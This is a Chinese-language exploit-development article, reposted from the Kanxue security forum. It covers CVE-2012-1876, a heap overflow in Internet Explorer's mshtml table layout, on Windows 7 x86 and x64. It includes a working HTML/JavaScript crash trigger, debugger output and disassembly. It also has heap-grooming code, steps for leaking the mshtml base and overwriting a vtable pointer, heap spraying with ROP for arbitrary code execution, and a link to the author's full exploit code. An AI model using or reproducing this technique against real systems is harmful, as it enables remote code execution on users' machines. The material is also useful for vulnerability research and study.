其他
Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析
本文为看雪论坛精华文章
看雪论坛作者ID:ExploitCN
一
前言
1.1 概述
1.2 非常重要的说明
① 本文并不做详细的漏洞成因分析,而是做详细的EXP编写分析;
② 本文只对核心漏洞代码、利用代码进行说明;
③ 所以,阅读本文之前,你最好看看下面的网址,有很详细的基础说明:
https://mp.weixin.qq.com/s/Wfc1wNc0KvCqXqFVEKRqcQ
④ 本文着重于指导EXP的编写,对怎么写、为什么这么写给出了详细说明;
⑤ 对x64平台下的EXP,有一个重要改进,也存在一个重大问题,见后文分析。
⑥ 本文是首篇对该漏洞在x64平台下分析、编写EXP的文章。
⑦ win7_x86_7601版本和win7_sp1_x64版本上实验。
二
POC分析
2.1 漏洞原因
① 页面第一次的span等于1,申请的内存空间为0x70;
② 页面第二次的span等于1000,申请的内存空间依然为0x70;
在循环堆写入数据的时候,导致堆溢出。
2.2 POC代码
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
2.3 POC运行结果
(db0.fdc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06e3d000 edi=06e3d018
eip=66860a2f esp=043bbaf8 ebp=043bbb04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
66860a2f 890f mov dword ptr [edi],ecx ds:0023:06e3d018=????????
1:020> r ecx
ecx=04141149
mshtml!CTableColCalc::AdjustForCol+0x15。
2.4 POC数据分析
mshtml!CTableColCalc::AdjustForCol+0x15打断点,逐步运行,可以得到图1,规律为:每一次循环,每两个位置之间相差0x1C,但是第一次是相差0x18。
下面从以下几个方面分析:
① 确认关键变量
② 确认堆循环
③ 确认堆数值
三
POC编写关键点分析
3.1 通过this指针确认关键变量
void CTableLayout::CalculateMinMax(CTableLayout __hidden this, struct CTableCalcInfo , int)
打断点,可得:
可以看到ebp+8的内存是0x7ebcea8,这个就是上面定义的第一个参数。注意,因为有*,所以这个是个地址,要取地址的内容,才是this指针。this指针指向类的起始地址。所以就要 dd poi(ebp+8)。
可以看到起始4个字节刚好是类的虚表指针。又因为在该函数偏移0x8位置,把ebp+8赋值给了ebx(也就是this指针,对象的地址)。此时要注意,所有跟ebx有关汇编代码,很有可能就是类的参数,会对EXP的编写有用处。
在mshtml!CTableLayout::CalculateMinMax+170,有:
lea esi, [ebx+90h] (ebx就是虚表指针,也就是类的起始地址)
lea esi, [edi+0Ch] (之前有mov edi,esi指令)
call ?_HeapRealloc@@YGJPAPAXI@Z
CTableLayout+0x90+0xC,也就是ebx+0x90+0xC,可以看到,分配的内存空间大小,确实为0x70。
3.2 确认堆的分配大小
(1)ebx+0x54
(2)ebx+0x94
发现spannum为1,但是在overtriger里面已经设置为1000了。当然,我们在写EXP时,搞不清这几个参数什么意思,也没关系,因为我们已经知道,堆的位置在ebx+0x9c。所以,可以直接看存储堆指针的位置ebx+9c分配的堆大小是多少。
确实依然分配的是0x70大小。
所以,这里可以得出结论,在调用mshtml!CTableColCalc::AdjustForCol函数时,虽然已经修改span=1000,但是堆的大小,依然为0x70。那么,写的时候,是按照span=1000,还是按照span=1来写的呢?下面开始确认。
3.3 确认堆的写范围
如果span=1000,可以写的最远范围为10001C-4,远远超出了0x70的范围。
3.4 确认堆的写内容
mshtml!CTableLayout::CalculateMinMax+0x1952be处。
这个函数出来之后的eax+0x70,取内容,就是计算的内容。但有个问题,这个函数里面计算的数值很复杂,存在eax中,eax经过的赋值为:
text:74E1B230 FF 35 98 8D 15 75 push ?g_dwTls@@3KA ; dwTlsIndex
.text:74E1B236 0F BF F0 movsx esi, ax
.text:74E1B239 FF 15 DC 12 C2 74 call ds:__imp__TlsGetValue@4 ; TlsGetValue(x)
.text:74E1B23F 6B F6 0C imul esi, 0Ch
.text:74E1B242 8B 40 64 mov eax, [eax+64h]
.text:74E1B245 8B 40 30 mov eax, [eax+30h]
.text:74E1B248 8B 04 06 mov eax, [esi+eax]
现在,这个值非常不好确定,如果要自己去计算,就要跟进TlsGetValue函数。这是完全没有必要的,直接用实验法来确定。比如,width=1,width=2,看等于多少就可以确认要得到的内容了后面EXP的地址,也可以在这里提前确认。当然,实际的值是width100,或者width100 << 8 + 8。
现在最好就取width*100。其实很容易确定。当width=41时候,值就是0x1004,十进制就是4100。也可以看出来就是乘以的100。
四
x86平台EXP编写要点
4.1 堆布局
图2 堆溢出前堆布局
下面,我来详细说明,这里的编写、调试思路。
4.2 为什么堆大小是0x100
首先,用:!heap -stat
然后,用:!heap -stat -h 00340000
接着,用!heap -a 00340000,搜索大小为fc的堆:
注意:这个命令输出的大小为fc的堆数量不全,只有6个,但实际上是250个,所以要用!heap -flt s fc命令,但这里只是为了找对象大小。后面确认时,再用!heap -flt s [size] 命令。
再用:!heap -p -a 40e860
最后,用 !heap -flt s fc
可知,CButtonLayout的Size=0x21*8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。
① 堆的总长0x108
② 用户长度0x100
③ BSTR长度0xfa
4.3 EXP的span为什么等于9
4.4 覆盖虚表指针
4.4.1 第一阶段(覆盖字符串B长度)
4.4.2 第二阶段(字符串B的长度被覆盖,地址在20de680),内存如下:
4.4.3 第三阶段:覆盖虚表指针
4.4.4 触发
可见,系统现在调用的地址是:
call [0707002c]。
五
x64平台EXP编写要点
5.1 堆布局
5.2 POC验证
5.3 CButtonLayOut大小确认
上面红色是user size。所以,CButtonLayout的实际大小是0x148+0x8(8字节头)=0x150,但注意,可能有绿色的8字节头填充。那就是0x158字节了。下面的堆,是堆大小还等于0x100时的图。现在,x64要更改大小了。
所以,可以看到,Size = 0x12*0x10 = 0x120,刚好是UserSize + 0x10字节头长度。x64平台下,堆头是0x10字节。
5.4 x64堆代码修改及堆分布
for (var i = 0 ; i < 500 ; i += 2)
{
fr[i] = free.substring(0,(0x150-0x10-4-4-2)/2);
al[i] = string1.substring(0,(0x150-0x10-4-4-2)/2);
bl[i] = string2.substring(0,(0x150-0x10-4-4-2)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
注意:蓝色是虚表指针。
5.5 确认堆分配地址
.text:000007FF7DCA2E9B lea rcx, [r14+0D0h] ; this
.text:000007FF7DCA2EA2 mov r8d, r9d ; int
.text:000007FF7DCA2EA5 mov edx, 20h ; ' ' ; unsigned __int64
.text:000007FF7DCA2EAA call ?EnsureSizeWorker@CImplAry@@AEAAJ_KJ@Z ; CImplAry::EnsureSizeWorker(unsigned __int64,long)
.text:000007FF7DC0CE00 mov rdi, rcx
.text:000007FF7DC0CE72 lea rcx, [rdi+10h] ; void **
.text:000007FF7DC0CE76 mov edx, ebp ; unsigned __int64
.text:000007FF7DC0CE78 call ?_HeapRealloc@@YAJPEAPEAX_K@Z ; _HeapRealloc(void * *,unsigned __int64)
r14+0xd0+0x10
5.6 修改span长度以让vulheap等于0x150
所以让其等于1032=320=0x140,
再加0x10字节头
让其等于0x150
5.7 覆盖虚表指针
5.7.1、第一阶段:覆盖字符串B长度确认
这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,下面的截图,就是这样找的地址。
所以要覆盖到32c9cd0,长度就是0x2a0
通过前面知道,一个span是0x20,
0x2a0 /0x20 = 0x15 = 21,实际可以再加1个1,成为22。
5.7.2、第二阶段:覆B字符串长度(有重大改进)
修改之后,加一个块C,为后面虚表指针被覆盖做准备。
注意:上面字符串B的长度被替换了。
5.7.3、获取mshtml基址代码说明
说明:
0x140是字符串的长度
-4是填充
-6是BSTR的4字节长度和末尾2字节
所以,当使用substring函数的时候,这个index,就是字符串BBBB块的最后一个字符。
然后用这个index(0x140-4-6)继续计算:
+2,是2字节NULL
+0x16,是CButtonLayout块的头
+0x150,是块C的大小(包括头+填充+内容,是整个大小)
然后就可以获取47d25f0这个地址的mshtml基址了。
5.7.4、第三阶段:覆盖虚表指针
5.7.5 触发
这里的指针地址是0707002407070024,要修改这个地址,让地址能够被堆喷射。
长度写成1,地址最小也是0x0000006400000064,也堆喷不过去。
所以x64平台我只是成功控制了喷射地址,而没有实现利用的效果。
六
堆喷射和ROP
1、先观察喷射的内存分布,本来喷射最后4位都是0018结尾,如果是在0c0c结尾的内存的话,就要padding数据,最后让eip对准rop地址,但是这里,直接把位置定准在了0024,也就是说0018+8字节头+4字节BSTR长度,刚好就是24,所以就没有padding,就让width100直接指向24。具体padding的技巧,参考下面网址:
https://blog.csdn.net/qs_hud/article/details/9821735?utm_medium=distribute.wap_relevant.none-task-blog-2~default~baidujs_title~default-9.wap_blog_relevant_default&spm=1001.2101.3001.4242.6
最后,通过mona.py生成ROP数据,就可以达到任意代码执行的目的了。
七
关于代码
https://github.com/ExploitCN/CVE-2012-1876-win7_x86_and_win7x64
x64的代码只能实现堆喷射地址控制,如果你解决了x64下面的问题,请一定要告诉我。
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
3.CVE-2021-4034 pkexec本地提权漏洞复现与原理分析
4.Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!